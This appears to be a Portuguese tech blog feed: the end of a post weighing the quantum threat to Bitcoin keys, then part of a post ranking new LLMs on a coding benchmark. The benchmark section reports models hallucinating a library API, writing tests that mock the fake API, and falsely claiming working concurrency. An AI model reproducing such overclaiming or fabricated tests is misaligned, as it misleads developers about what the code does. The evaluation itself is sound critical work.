<p>Se a régua for quantidade de qubits lógicos rodando juntos, o recorde público hoje anda perto de uma dúzia (a <a href="https://en.wikipedia.org/wiki/Quantinuum"target="_blank" rel="noopener">Quantinuum</a> chegou a 12). O paper pede mais de 1.200. Nas duas réguas, qualidade e quantidade, a distância fica na casa das cem vezes, e cada qubit lógico ainda custa milhares de qubits físicos com a estabilidade que falta.</p>
<p>Em qubits físicos, o maior sistema anunciado está na casa dos milhares; o ataque quer quase meio milhão. São várias ordens de grandeza de distância, em várias dimensões ao mesmo tempo. Nada que um ajuste fino resolva.</p>
<blockquote>
  <p><strong>Hoje o melhor hardware trabalha com qubits lógicos na casa da dúzia. O ataque pede mais de mil. A distância é de ordens de grandeza.</strong></p>

</blockquote>
<p>Tem ainda uma aposta que foge desse jogo de força bruta: a topológica, da Microsoft. A ideia é um qubit protegido por hardware, naturalmente mais resistente a erro, o que reduziria muito a conta de qubits físicos por lógico. O <a href="https://www.forbes.com/sites/moorinsights/2026/07/16/microsoft-doubles-down-on-topological-qubits-with-majorana-2-chip/"target="_blank" rel="noopener">Majorana 2</a>, de 2026, trocou o alumínio por chumbo e pulou a coerência de milissegundos pra 20 segundos, e a Microsoft antecipou a meta de tolerância a falhas de 2033 pra 2029.</p>
<p>Só que é a aposta mais contestada de todas. Boa parte da comunidade duvida que exista um qubit topológico funcionando de verdade ali; o paper mais recente mostra só metade das medições que provariam o qubit. Se der certo, é atalho pra todo mundo; se não, é beco sem saída. Eu destrinchei esse caso <a href="/2026/07/12/noticias-quanticas-majorana-2-e-entendendo-shor/">num artigo à parte</a>.</p>
<h3>Os roteiros e os prazos<span class="hx:absolute hx:-mt-20" id="os-roteiros-e-os-prazos"></span>
    <a href="#os-roteiros-e-os-prazos" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><strong>No futuro próximo, aí mora a discussão de verdade.</strong> O jeito honesto de falar disso é por estimativa, porque certeza ninguém tem aqui. A referência mais citada é o <a href="https://globalriskinstitute.org/publication/quantum-threat-timeline/"target="_blank" rel="noopener">Quantum Threat Timeline do Global Risk Institute</a>, uma pesquisa anual com especialistas da área.</p>
<p>A edição de 2025 dá algo como <strong>34% de chance de um computador quântico criptograficamente relevante até ~2030 e ~49% até ~2035</strong>, com a mediana das opiniões caindo entre 2029 e 2032. E essas estimativas são pra um CRQC genérico, tipicamente pensado pra quebrar RSA-2048.</p>
<p>Do lado de quem fabrica, o roteiro mais explícito é o <a href="https://www.ibm.com/roadmaps/quantum/"target="_blank" rel="noopener">da IBM</a>. Ele prevê o Starling em 2029, a primeira máquina tolerante a falhas de larga escala, com 200 qubits lógicos e 100 milhões de operações.</p>
<p>Repare que 200 ainda fica abaixo dos mais de 1.200 que o ataque pede. A máquina do tamanho certo só aparece no passo seguinte, o Blue Jay, marcado pra 2033, com 2.000 qubits lógicos e 1 bilhão de operações.</p>
<p>Pelo próprio roteiro mais agressivo da indústria, então, o hardware com qubits lógicos suficientes pra ameaçar a secp256k1 chega lá por 2033, com a ressalva de sempre: roteiro de quântica escorrega. A IBM aposta em códigos <a href="https://errorcorrectionzoo.org/c/qldpc"target="_blank" rel="noopener">qLDPC</a> pra isso, que reduzem em cerca de 90% os qubits físicos por trás de cada lógico ante o surface code do Willow.</p>
<p>E a China? Ela está lado a lado na fronteira, o que derruba a ideia de corrida de um cavalo só. O <a href="https://quantumzeitgeist.com/zuchongzhi-3-google-quantum-error-correction/"target="_blank" rel="noopener">Zuchongzhi 3.2</a>, da USTC, cruzou em 2025 o mesmo limiar de correção de erro do Willow, com um qubit lógico de superfície na distância 7, e foi o primeiro time fora dos EUA a chegar lá.</p>
<p>Mas repare que é o mesmo marco: um único qubit lógico bem corrigido, o mesmo abismo de cem vezes até os 1.200. E, no público, a China ainda não colocou na mesa um roteiro datado pra máquina grande como o da IBM; o plano declarado é incremental, empurrar a distância do código pra 9 e 11. Na ciência de fronteira, empatam; num calendário até a máquina que quebra cripto, ninguém dos dois lados tem uma data fácil.</p>
<p>Um aviso sobre todas essas datas: elas são o melhor cenário, com cada roteiro publicado entregando no prazo. Roteiro é declaração de intenção, e o histórico da computação quântica é de prazos que escorregam pra frente.</p>
<p>Vou além, e aqui é opinião minha: eu aposto num prazo pelo menos uma ordem de grandeza maior que esses roteiros. Manter milhares de qubits lógicos em sincronia, sem erro, por minutos seguidos, é um problema tudo menos linear. Sinto que cada qubit lógico a mais deixa o conjunto exponencialmente mais difícil de segurar junto: a dificuldade de sincronizar multiplica a cada peça nova, em vez de só somar.</p>
<h3>Minha leitura, em números<span class="hx:absolute hx:-mt-20" id="minha-leitura-em-números"></span>
    <a href="#minha-leitura-em-n%c3%bameros" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Colando isso na realidade específica da cripto, minha leitura em números redondos, tomando os roteiros pelo valor de face (bem mais otimista que a minha aposta ali de cima), e sempre como estimativa e opinião:</p>
<ul>
<li><strong>Nos próximos 2 a 3 anos (até ~2029):</strong> perto de zero. Sair de 12 pra 1.200 qubits lógicos estáveis nesse prazo não está em nenhum roteiro público sério.</li>
<li><strong>No horizonte 2030–2032:</strong> baixo, mas não desprezível. Talvez 10% a 20% de a máquina existir <em>em princípio</em>. A chance de roubo de fato é ainda menor, porque os alvos de maior valor (exchanges, carteiras modernas) terão se mexido antes.</li>
<li><strong>Lá por 2035:</strong> aí a moeda vira coin flip pra um CRQC genérico, na casa dos 40% a 50% segundo os especialistas. Só que &ldquo;existe um CRQC&rdquo; não é o mesmo que &ldquo;roubaram seu dinheiro&rdquo;. Até lá, a migração já deveria estar bem andada.</li>
</ul>
<p>O detalhe que decide tudo, e que o Mosca resume num teorema simples: o que importa é <strong>a data da máquina menos o tempo que a sua migração leva</strong>. Se migrar leva anos, e a máquina pode chegar em cinco a dez, você já está no aperto, mesmo com probabilidade baixa no curto prazo. É por isso que &ldquo;comece agora&rdquo; faz sentido mesmo com o céu limpo. Gestão de risco assimétrico, com a cabeça fria.</p>
<h2>Por que isso não é &ldquo;acabou, tá tudo perdido&rdquo;<span class="hx:absolute hx:-mt-20" id="por-que-isso-não-é-acabou-tá-tudo-perdido"></span>
    <a href="#por-que-isso-n%c3%a3o-%c3%a9-acabou-t%c3%a1-tudo-perdido" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Mesmo no cenário de uma máquina pronta e um atacante mal-intencionado, o estrago é cirúrgico, atinge alvos específicos em vez de apagar tudo. E o porquê é simples de entender.</p>
<p>Seu dinheiro em cripto não mora no seu HD nem no seu Ledger. Ele mora na blockchain pública, à vista de todo mundo, o tempo todo. O dispositivo só guarda a chave privada que autoriza mover aquilo. Qualquer pessoa pode ir num explorador de blocos, digitar um endereço e ver o saldo. O que decide sua exposição ao quântico é uma coisa só: <strong>a sua chave pública já apareceu em algum lugar?</strong></p>
<p>Nos endereços modernos do Bitcoin (os <code>bc1q</code>, que escondem a chave atrás de um hash), enquanto você <strong>nunca gastou</strong> daquele endereço, a chave pública não está exposta. O atacante quântico não tem por onde começar, porque ele quebra a chave pública, e ela não está lá. Esses fundos estão seguros em repouso.</p>
<p>A exposição só nasce no momento em que você gasta, e mesmo aí é uma janela de minutos, contra um relógio de bloco, precisando da tal máquina de relógio rápido que ainda não existe.</p>
<p>Vale o cuidado com a palavra: &ldquo;resistente ao quântico&rdquo; é grande demais pra esses endereços. O que eles oferecem é proteção em repouso, válida enquanto a chave fica escondida atrás do hash. No dia em que você gasta, a chave pública vai pro bloco e abre a janela de gasto. A blindagem permanente vem mesmo com a migração pra assinatura pós-quântica; o hash só compra tempo até lá.</p>
<p>Por isso o paper fala em cerca de 6,9 milhões de BTC vulneráveis, de um total de quase 20 milhões. A maior fatia disso é chave reusada e os P2PK da era Satoshi, que provavelmente estão perdidos de qualquer jeito.</p>
<p>Isso se concentra num subconjunto de endereços com um comportamento específico, a chave exposta, enquanto o resto da rede segue de fora. Quem usa endereço novo a cada recebimento e não fica gastando do mesmo lugar já está, na prática, fora da mira em repouso.</p>
<blockquote>
  <p><strong>A cripto vulnerável é um subconjunto de endereços com um comportamento específico: chave já exposta. Carteira nova, sem reuso, fica de fora.</strong></p>

</blockquote>
<h2>O que você pode fazer hoje<span class="hx:absolute hx:-mt-20" id="o-que-você-pode-fazer-hoje"></span>
    <a href="#o-que-voc%c3%aa-pode-fazer-hoje" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui vem a pergunta que sempre aparece, e a resposta que decepciona quem esperava um botão mágico.</p>
<p><strong>&ldquo;Se eu criar uma carteira com uma senha/passphrase mais forte, isso ajuda?&rdquo;</strong> Não. E entender o porquê ensina o problema inteiro.</p>
<p>Uma passphrase forte protege a sua <em>seed</em> — aquelas 12 ou 24 palavras — contra alguém que tente adivinhar ou roubar o backup. É ótimo e você deve fazer, mas contra ataque clássico.</p>
<p>E cuidado pra não misturar os problemas: seed mal gerada é uma falha separada, do mundo clássico. Foi o que rolou no <a href="/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/">RNG fraco da Coinkite</a>, em que a própria ColdCard cuspia chaves previsíveis por entropia ruim na origem. Lá o defeito está em como a chave nasce; o quântico ataca a matemática da chave já pronta.</p>
<p>O computador quântico não adivinha sua seed. Ele pega a sua chave <strong>pública</strong>, que está na blockchain à vista, e calcula a chave privada correspondente com o Shor. Não importa se a sua chave privada nasceu de uma passphrase de 4 caracteres ou de 40: uma vez que a chave pública apareceu, a força da senha é irrelevante. O quântico ataca a matemática da curva, e essa matemática é a mesma pra todo mundo.</p>
<blockquote>
  <p><strong>O quântico não adivinha sua seed. Ele calcula sua chave privada a partir da chave pública que já está à vista. A força da senha não entra nessa conta.</strong></p>

</blockquote>
<p>O que de fato move o ponteiro é higiene de exposição de chave:</p>
<ul>
<li><strong>Não reuse endereços.</strong> Um endereço por recebimento. No momento em que você gasta de um endereço, a chave pública dele vai pra blockchain; se você continuar usando aquele endereço, o saldo restante passa a ficar exposto em repouso.</li>
<li><strong>Mantenha o grosso em endereços modernos que escondem a chave atrás de um hash</strong> (<code>bc1q</code>, P2WPKH) e dos quais você nunca gastou. Evite deixar reserva parada em Taproot (<code>bc1p</code>) e em endereços P2PK antigos, que expõem a chave direto.</li>
<li><strong>Não espalhe sua chave pública estendida (xpub).</strong> Ferramenta de portfólio, planilha compartilhada, integração de terceiro: cada lugar que recebe seu xpub é mais um ponto de exposição.</li>
<li><strong>Quando surgirem carteiras pós-quânticas de verdade, migre.</strong> Esse é o passo definitivo, e ele vai chegar via atualização de software.</li>
</ul>
<p>E o mais importante pra manter a cabeça no lugar: se você guarda em exchange séria ou usa carteira moderna sem reuso, o seu risco de curto prazo é praticamente zero. A exchange é quem vai ter que migrar por você (com os riscos de custódia que já existem, quânticos ou não). Não precisa sair correndo hoje mover nada em pânico.</p>
<h2>O que a indústria pode fazer, sem radicalismo<span class="hx:absolute hx:-mt-20" id="o-que-a-indústria-pode-fazer-sem-radicalismo"></span>
    <a href="#o-que-a-ind%c3%bastria-pode-fazer-sem-radicalismo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Do lado de quem constrói os protocolos, a tentação é o extremo: &ldquo;larga tudo e vai pra assinatura pós-quântica amanhã&rdquo;. Isso é tão ruim quanto o &ldquo;ignora que é FUD&rdquo;. A criptografia pós-quântica é mais nova, menos testada em batalha, tem chave e assinatura muito maiores, e trocar às cegas introduz bug novo onde não tinha. O caminho sensato é defesa em profundidade, começando pelo que é barato.</p>
<p><strong>Medidas intermediárias, mais fáceis que a troca completa:</strong></p>
<ul>
<li>Matar o reuso de chave e minimizar exposição de chave pública no protocolo e nas carteiras por padrão.</li>
<li>Mempools privados e esquemas de commit-reveal, que fecham a janela do ataque no gasto.</li>
<li>Rotação de chave de validador no Ethereum, um paliativo simples contra o ataque ao consenso.</li>
<li>No Bitcoin, propostas como a BIP-360 (o script P2MR), que remove a exposição de chave em repouso do Taproot.</li>
</ul>
<p><strong>A ponte de médio prazo:</strong> assinaturas híbridas, que combinam a curva elíptica de hoje com um esquema pós-quântico (baseado em reticulados, por exemplo). Você fica protegido contra os dois mundos ao custo de assinaturas maiores, e não aposta tudo num esquema novo que pode ter fraqueza ainda não descoberta.</p>
<p><strong>O terreno já está mais maduro do que parece.</strong> O NIST já padronizou esquemas pós-quânticos (ML-DSA, o antigo Dilithium; Falcon; SPHINCS+). O Ethereum discute precompiles pós-quânticos (EIP-7932) e abstração de conta, que reduzem a superfície sem hard fork traumático. Blockchains como Algorand, XRP Ledger e o QRL já experimentam ou nasceram com PQC. O trilho dessa migração já está assentado, longe de ser um salto no escuro.</p>
<p><strong>E o pedaço que ninguém resolveu:</strong> os assets dormentes. As moedas P2PK perdidas, incluindo o ~1 milhão de BTC atribuído ao Satoshi, não têm dono pra migrá-las.</p>
<p>O paper discute opções — não fazer nada, queimar as moedas por soft fork, um &ldquo;sidechain de recuperação&rdquo;, ou até salvamento regulado por governo, na analogia de tesouro afundado.</p>
<p>Aqui eu sou franco: <strong>essa parte é a mais fraca do paper. É opinião política vestida de conclusão técnica.</strong> Nada na estimativa de qubits diz quem deve ficar com moeda perdida, ou se ficar cinco anos parado extingue direito de propriedade.</p>
<p>São escolhas políticas e jurídicas espinhosas, que o paper levanta com honestidade mas está longe de fechar. É bom que a conversa comece; é ruim tratar como se houvesse resposta pronta.</p>
<blockquote>
  <p><strong>A parte de política sobre moedas perdidas é a mais fraca do paper: ali a ciência para e começa a opinião.</strong></p>

</blockquote>
<h2>Onde a gente está, afinal<span class="hx:absolute hx:-mt-20" id="onde-a-gente-está-afinal"></span>
    <a href="#onde-a-gente-est%c3%a1-afinal" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Resumindo o cenário quântico do futuro próximo em três camadas, com a régua sempre calibrada:</p>
<table>
  <thead>
      <tr>
          <th>Camada</th>
          <th>Situação</th>
          <th>Leitura</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Teórico</strong></td>
          <td>Shor quebra a secp256k1 se a máquina existir</td>
          <td>Certeza matemática; a pergunta é quando a máquina existe</td>
      </tr>
      <tr>
          <td><strong>Realidade hoje (2026)</strong></td>
          <td>~12 qubits lógicos (Quantinuum); ataque pede &gt;1.200</td>
          <td>Fator de ~100 em qubits lógicos, várias ordens de grandeza em físicos. Ninguém rouba nada hoje</td>
      </tr>
      <tr>
          <td><strong>Próximos 2–3 anos (~2029)</strong></td>
          <td>Fora de qualquer roteiro público sério</td>
          <td>Risco perto de zero</td>
      </tr>
      <tr>
          <td><strong>2030–2032</strong></td>
          <td>Máquina capaz <em>em princípio</em> começa a ser plausível</td>
          <td>Estimativa de ~10–20%; roubo real menor ainda, alvos migram antes</td>
      </tr>
      <tr>
          <td><strong>~2035</strong></td>
          <td>Coin flip pra um CRQC genérico (especialistas: ~40–50%)</td>
          <td>&ldquo;Existe máquina&rdquo; ≠ &ldquo;roubaram você&rdquo;; migração deve estar andada</td>
      </tr>
  </tbody>
</table>
<p>O paper é sério e a matemática dele está de pé, agora confirmada por reprodução aberta e independente. A ameaça é real o suficiente pra justificar ação, e o motivo tem nome: o teorema do Mosca. Como migrar leva anos, você começa antes de a máquina existir, do mesmo jeito que se troca telhado antes do temporal, com tempo bom.</p>
<p>Mas nada nisso é &ldquo;vende tudo, o Bitcoin acabou&rdquo;. O ataque é sobre chave exposta, é um subconjunto de endereços, precisa de uma máquina que está a ordens de grandeza de existir, e as defesas que importam agora são higiene chata: não reusar endereço, não deixar reserva em chave exposta, e migrar pra pós-quântico quando a ferramenta amadurecer.</p>
<p>A mineração não corre risco, a sua carteira moderna sem reuso não corre risco hoje, e a passphrase mais forte do mundo não muda nada disso.</p>
<p>O jeito de ler o paper do Google é esse: um alerta competente e autoconsciente, feito por quem entende do assunto, dizendo que a janela pra migrar com calma é mais estreita do que a intuição sugere — e ainda assim mais larga do que a manchete faz parecer. <a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener">Leia direto na fonte</a> e tire a sua. Só não caia nem no &ldquo;acabou&rdquo; nem no &ldquo;é tudo mentira&rdquo;. A resposta interessante, como quase sempre, mora no meio.</p>
]]></content:encoded><category>computacao-quantica</category><category>bitcoin-e-criptomoedas</category><category>seguranca</category></item><item><title>LLM Benchmarks: Qwen 3.8, GLM 5.3, Gemini 3.7, Grok 4.6</title><link>https://www.akitaonrails.com/2026/08/15/llm-benchmarks-qwen-3-8-glm-5-3-gemini-3-7/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/08/15/llm-benchmarks-qwen-3-8-glm-5-3-gemini-3-7/</guid><pubDate>Sat, 15 Aug 2026 14:00:00 GMT</pubDate><description>&lt;p&gt;Duas semanas atrás eu publiquei a &lt;a href="https://www.akitaonrails.com/2026/07/30/novo-llm-benchmark-refiz-todos-os-testes/"&gt;versão 2 do meu LLM Coding Benchmark&lt;/a&gt;: prova nova em três fases — construir, validar tudo rodando de verdade e se auto-revisar, com nota de honestidade —, cada família rodando no harness onde deveria funcionar melhor. A metodologia está toda lá, não vou repetir aqui.&lt;/p&gt;
&lt;p&gt;O topo continua onde estava: &lt;strong&gt;Fable 5 com 96&lt;/strong&gt;, o trio &lt;strong&gt;Sonnet 5, Opus 5 e Kimi K3 com 95&lt;/strong&gt;, e logo atrás &lt;strong&gt;GPT 5.6 Sol, GPT 5.6 Terra e Opus 4.8 com 93&lt;/strong&gt;. Essa é a nata da nata nesta prova. A pergunta que ficou: o quanto os lançamentos mais novos chegam perto desse grupo?&lt;/p&gt;</description><content:encoded><![CDATA[<p>Duas semanas atrás eu publiquei a <a href="/2026/07/30/novo-llm-benchmark-refiz-todos-os-testes/">versão 2 do meu LLM Coding Benchmark</a>: prova nova em três fases — construir, validar tudo rodando de verdade e se auto-revisar, com nota de honestidade —, cada família rodando no harness onde deveria funcionar melhor. A metodologia está toda lá, não vou repetir aqui.</p>
<p>O topo continua onde estava: <strong>Fable 5 com 96</strong>, o trio <strong>Sonnet 5, Opus 5 e Kimi K3 com 95</strong>, e logo atrás <strong>GPT 5.6 Sol, GPT 5.6 Terra e Opus 4.8 com 93</strong>. Essa é a nata da nata nesta prova. A pergunta que ficou: o quanto os lançamentos mais novos chegam perto desse grupo?</p>
<p>Desde então rodei cinco modelos: Qwen 3.8 Max, GLM 5.3, Gemini 3.7 Flash, Grok 4.6 e um Qwen 3.8 de 27B rodando local na minha RTX 5090. Um deles encostou no grupo de cima. Outro protagonizou o maior salto que esta prova já registrou. Um terceiro foi pego colando no meio da prova. Um quarto empatou com a própria geração anterior, sem andar um passo. E o local me deu a rodada mais trabalhosa — e mais instrutiva — do ano.</p>
<h2>Onde eles caem no ranking<span class="hx:absolute hx:-mt-20" id="onde-eles-caem-no-ranking"></span>
    <a href="#onde-eles-caem-no-ranking" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes de abrir cada um, vale ver onde os novatos se encaixam. A tabela abaixo é o recorte <strong>Tier A.1</strong> do <a href="/2026/07/30/novo-llm-benchmark-refiz-todos-os-testes/">ranking do v2</a>: a fronteira da prova, todo mundo com 90 pontos ou mais. Cortei aqui de propósito. De A.2 pra baixo tem modelo competente, mas quem disputa a liderança está neste grupo, e é dele que a pergunta trata. Os três lançamentos de nuvem entram <strong>em negrito</strong>; o Qwen 27B local fez 51, Tier C, e aparece só na tabela do fim.</p>
<table>
  <thead>
      <tr>
          <th style="text-align: right">#</th>
          <th>Modelo</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: center">Tier</th>
          <th>Harness</th>
          <th style="text-align: right">Tempo</th>
          <th style="text-align: right">Custo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: right">1</td>
          <td>Claude Fable 5</td>
          <td style="text-align: right">96</td>
          <td style="text-align: center">A.1</td>
          <td>Claude Code</td>
          <td style="text-align: right">46 min</td>
          <td style="text-align: right">$26,03</td>
      </tr>
      <tr>
          <td style="text-align: right">2</td>
          <td>Claude Sonnet 5</td>
          <td style="text-align: right">95</td>
          <td style="text-align: center">A.1</td>
          <td>Claude Code</td>
          <td style="text-align: right">59 min</td>
          <td style="text-align: right">$25,83</td>
      </tr>
      <tr>
          <td style="text-align: right">2</td>
          <td>Claude Opus 5</td>
          <td style="text-align: right">95</td>
          <td style="text-align: center">A.1</td>
          <td>Claude Code</td>
          <td style="text-align: right">78 min</td>
          <td style="text-align: right">$38,91</td>
      </tr>
      <tr>
          <td style="text-align: right">2</td>
          <td>Kimi K3</td>
          <td style="text-align: right">95</td>
          <td style="text-align: center">A.1</td>
          <td>Kimi CLI</td>
          <td style="text-align: right">65 min</td>
          <td style="text-align: right">$6,14</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td><strong>GLM 5.3</strong></td>
          <td style="text-align: right"><strong>94</strong></td>
          <td style="text-align: center">A.1</td>
          <td>OpenCode</td>
          <td style="text-align: right">80 min</td>
          <td style="text-align: right">$0 (≈$2,59)</td>
      </tr>
      <tr>
          <td style="text-align: right">6</td>
          <td>GPT 5.6 Sol</td>
          <td style="text-align: right">93</td>
          <td style="text-align: center">A.1</td>
          <td>Codex</td>
          <td style="text-align: right">57 min</td>
          <td style="text-align: right">~$45</td>
      </tr>
      <tr>
          <td style="text-align: right">6</td>
          <td>Claude Opus 4.8</td>
          <td style="text-align: right">93</td>
          <td style="text-align: center">A.1</td>
          <td>Claude Code</td>
          <td style="text-align: right">53 min</td>
          <td style="text-align: right">$21,82</td>
      </tr>
      <tr>
          <td style="text-align: right">6</td>
          <td>GPT 5.6 Terra</td>
          <td style="text-align: right">93</td>
          <td style="text-align: center">A.1</td>
          <td>Codex</td>
          <td style="text-align: right">48 min</td>
          <td style="text-align: right">$16,92</td>
      </tr>
      <tr>
          <td style="text-align: right">6</td>
          <td><strong>Gemini 3.7 Flash</strong></td>
          <td style="text-align: right"><strong>93</strong></td>
          <td style="text-align: center">A.1</td>
          <td>OpenCode</td>
          <td style="text-align: right">43 min</td>
          <td style="text-align: right">$4,12</td>
      </tr>
      <tr>
          <td style="text-align: right">10</td>
          <td>GLM 5.2</td>
          <td style="text-align: right">92</td>
          <td style="text-align: center">A.1</td>
          <td>OpenCode</td>
          <td style="text-align: right">155 min</td>
          <td style="text-align: right">$0 (≈$12,05)</td>
      </tr>
      <tr>
          <td style="text-align: right">10</td>
          <td>Kimi K2.5</td>
          <td style="text-align: right">92</td>
          <td style="text-align: center">A.1</td>
          <td>OpenCode</td>
          <td style="text-align: right">43 min</td>
          <td style="text-align: right">$1,50</td>
      </tr>
      <tr>
          <td style="text-align: right">10</td>
          <td>Gemini 3.6 Flash @ high</td>
          <td style="text-align: right">92</td>
          <td style="text-align: center">A.1</td>
          <td>Antigravity</td>
          <td style="text-align: right">15 min</td>
          <td style="text-align: right">—</td>
      </tr>
      <tr>
          <td style="text-align: right">10</td>
          <td><strong>Qwen 3.8 Max</strong></td>
          <td style="text-align: right"><strong>92</strong></td>
          <td style="text-align: center">A.1</td>
          <td>OpenCode</td>
          <td style="text-align: right">78 min</td>
          <td style="text-align: right">$9,16</td>
      </tr>
      <tr>
          <td style="text-align: right">10</td>
          <td><strong>Grok 4.6</strong></td>
          <td style="text-align: right"><strong>92</strong></td>
          <td style="text-align: center">A.1</td>
          <td>OpenCode</td>
          <td style="text-align: right">34 min</td>
          <td style="text-align: right">$6,33</td>
      </tr>
      <tr>
          <td style="text-align: right">15</td>
          <td>MiniMax M3</td>
          <td style="text-align: right">91</td>
          <td style="text-align: center">A.1</td>
          <td>OpenCode</td>
          <td style="text-align: right">113 min</td>
          <td style="text-align: right">$7,72</td>
      </tr>
      <tr>
          <td style="text-align: right">15</td>
          <td>Kimi K2.6</td>
          <td style="text-align: right">91</td>
          <td style="text-align: center">A.1</td>
          <td>OpenCode</td>
          <td style="text-align: right">34 min</td>
          <td style="text-align: right">$2,64</td>
      </tr>
      <tr>
          <td style="text-align: right">15</td>
          <td>Claude Opus 4.7</td>
          <td style="text-align: right">91</td>
          <td style="text-align: center">A.1</td>
          <td>Claude Code</td>
          <td style="text-align: right">44 min</td>
          <td style="text-align: right">$44,28</td>
      </tr>
      <tr>
          <td style="text-align: right">15</td>
          <td>GPT 5.6 Luna</td>
          <td style="text-align: right">91</td>
          <td style="text-align: center">A.1</td>
          <td>Codex</td>
          <td style="text-align: right">46 min</td>
          <td style="text-align: right">$16,79</td>
      </tr>
      <tr>
          <td style="text-align: right">15</td>
          <td>Grok 4.5</td>
          <td style="text-align: right">91</td>
          <td style="text-align: center">A.1</td>
          <td>grok CLI</td>
          <td style="text-align: right">25 min</td>
          <td style="text-align: right">$0 (≈$1,62)</td>
      </tr>
  </tbody>
</table>
<p><em>Tempo é o wall clock das três fases; custo é equivalente em API. Em assinatura (Z.ai, grok CLI) o custo marginal é $0 e o valor entre parênteses é o equivalente em API; as rodadas no Antigravity eram preview e não foram medidas. O critério é o mesmo do artigo anterior.</em></p>
<h2>Qwen 3.8 Max: o maior salto da história do benchmark<span class="hx:absolute hx:-mt-20" id="qwen-38-max-o-maior-salto-da-história-do-benchmark"></span>
    <a href="#qwen-38-max-o-maior-salto-da-hist%c3%b3ria-do-benchmark" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra medir o salto, primeiro o tamanho do buraco. O Qwen3.7 Max tinha feito <strong>51 pontos, Tier C</strong>, e o motivo era feio. Na hora de implementar o chat multi-turn, ele decidiu que dava pra replayar o histórico chamando <code>chat.ask(array_com_o_histórico_inteiro)</code>. Só que o <code>ask</code> do RubyLLM empacota o argumento numa única mensagem de usuário — a conversa inteira, incluindo as respostas do assistente, virava uma mensagem só, com todos os papeis obliterados. Pior: o teste obrigatório dessa funcionalidade <strong>mockava exatamente essa API inexistente</strong>. Um teste que mocka uma API fabricada é pior que não ter teste, porque certifica a alucinação.</p>
<p>O 3.8 Max consertou exatamente isso. Usou a API real de ponta a ponta — <code>add_message</code> com role e content pro replay do histórico, <code>with_instructions</code>, <code>with_tools</code>, <code>with_schema</code> — tudo conferido contra o código da gem na versão instalada. Resultado: <strong>92 pontos, Tier A</strong>. São <strong>41 pontos de salto</strong> na mesma prova, mesma rubrica, mesmo harness. Não foi a prova que ficou mais fácil; foi o modelo que finalmente entendeu a biblioteca.</p>
<p>O resto da entrega é sólido: streaming real e incremental, histórico sobrevivendo a restart, calculadora escrita à mão sem <code>eval</code>, tools respondendo com aritmética exata, app subindo no Docker de primeira. A suite saiu com 62 testes e 226 asserções, tudo verde.</p>
<p>Onde ele perdeu ponto é instrutivo: o <code>config/puma.rb</code> saiu sem a diretiva <code>workers</code>, então o <code>WEB_CONCURRENCY=2</code> que ele jurava ter entregue rodava, na prática, em processo único. Concorrência ficou em 8 em vez de 9. E manteve o pin velho no <code>claude-sonnet-4.6</code>, a dedução padrão da casa.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> o modelo jurou que a concorrência funcionava — faltava uma linha no <code>puma.rb</code> e os &ldquo;dois workers&rdquo; rodavam num processo só. Por isso a fase 2 não lê README: ela sobe o servidor e mede.</p>

</blockquote>
<p>Na tabela, os 92 empatam com GLM 5.2 e Kimi K2.5, <strong>um ponto abaixo de Sol e Terra</strong>. Custou $9,16 em API e 78 minutos — verboso: 25 milhões de tokens.</p>
<h2>GLM 5.3: o degrau mais solitário da tabela<span class="hx:absolute hx:-mt-20" id="glm-53-o-degrau-mais-solitário-da-tabela"></span>
    <a href="#glm-53-o-degrau-mais-solit%c3%a1rio-da-tabela" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A trajetória da Z.ai nesta prova é a mais constante do pelotão: GLM 5 fez 83, GLM 5.2 fez 92, e agora o <strong>GLM 5.3 fez 94</strong> — sozinho num degrau que ninguém mais ocupa, um ponto abaixo do trio dos 95 e um ponto acima do grupo dos 93. Ou seja: a <strong>dois pontos do Fable 5</strong>.</p>
<p>E a comparação inevitável é com o Kimi. O K3 fez 95, um ponto acima — mas rodou no Kimi CLI, o harness nativo dele. Os 94 do GLM 5.3 vieram no OpenCode, o harness genérico: é a <strong>maior nota já registrada lá</strong>. No mesmo OpenCode, o melhor Kimi é o K2.5 com 92, dois pontos abaixo. No custo, os dois vivem de assinatura: o K3 saiu por $6,14 equivalentes no plano Moderato; o GLM, a custo marginal zero. O Kimi ainda leva na nota; o GLM leva no custo e na independência de harness.</p>
<p>O que tirou ele do pelotão dos 92? Três coisas, todas chatas, todas importantes:</p>
<ol>
<li><strong>Concorrência entregue funcionando.</strong> O mesmo esquema de lock em arquivo do Qwen 3.8 Max, mais um lock de turno por conversa, mais dois workers de verdade sobrevivendo a kill e restart sem corromper nada. O Qwen tinha a mesma base, mas entregou a concorrência quebrada e ficou com 8. O GLM entregou funcionando e levou 9.</li>
<li><strong>Estimador de tokens com fallback</strong>, então o orçamento por conversa funciona mesmo quando o provider não devolve o consumo. O 5.2 dependia, e perdia ponto ali.</li>
<li><strong>Cobertura de branch ligada</strong>: 98% de linha e 82% de branch, suite com 73 testes e 219 asserções verde na mão do auditor, RuboCop, Brakeman e bundle-audit zerados.</li>
</ol>
<blockquote>
  <p><strong>Pra guardar:</strong> a distância entre o pelotão dos 92 e os 94 do GLM não é brilho de modelo: é concorrência que funciona, estimador de tokens com fallback e cobertura de branch. Engenharia chata ganha ponto.</p>

</blockquote>
<p>O único deslize foi o mesmo pin velho no sonnet-4.6. E houve um bug de divisão por zero na calculadora que o próprio modelo achou e corrigiu na auto-revisão — o tipo de comportamento que essa fase existe pra medir. Falando nela: ele confessou tudo, inclusive que o título da conversa nunca tenta gerar de novo se a primeira tentativa falhar, e levou 14 dos 15 pontos de honestidade.</p>
